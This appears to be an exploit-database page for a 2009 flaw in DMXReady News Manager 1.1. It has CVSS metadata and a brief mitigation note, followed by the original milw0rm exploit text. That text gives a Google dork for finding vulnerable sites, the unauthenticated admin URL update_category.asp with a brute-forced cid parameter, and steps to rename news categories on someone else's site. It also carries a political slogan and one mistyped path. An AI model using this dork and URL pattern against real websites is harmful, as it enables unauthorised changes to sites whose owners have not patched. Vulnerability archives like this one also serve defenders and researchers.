DMXReady News Manager - exploit.company

vendor:

News Manager

by:

ajann

7.5

CVSS

HIGH

Remote Category Change Vulnerability

264

CWE

Product Name: News Manager

Affected Version From: 1.1

Affected Version To: 1.1

Patch Exists: YES

Related CWE: N/A

CPE: a:dmxready:news_manager

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

DMXReady News Manager <= 1.1 Remote Category Change Vulnerability

A vulnerability exists in DMXReady News Manager version 1.1 which allows an attacker to remotely change the category name of the news manager. The attacker can brute force the CAT_ID parameter in the update_category.asp page to gain access to the category manager page and change the category name.

Mitigation:

Upgrade to the latest version of DMXReady News Manager

Source

Exploit-DB raw data:

*******************************************************************************
# Title   :  DMXReady News Manager <= 1.1 Remote Category Change Vulnerability
# Author  :  "ajann" from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  69.97 $
# Dork    :  inurl:inc_newsmanager.asp
# DorkEx  :

http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_newsmanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************
# http://[target]/[path]/admin/NewsManager/CategoryManager/update_category.asp?cid=[CAT_ID]

[CAT_ID] = 1,2,3,4,5,6,7,8,9 ..... Brute Force ...

Example: 
You Find -> http://[target]/[path]//applications/NewsManager/inc_newsmanager.asp
Edit  ->    http://[target]/[path]//dmin/NewsManager/CategoryManager/update_category.asp?cid=[x]

Update Category Name : )

# milw0rm.com [2009-01-13]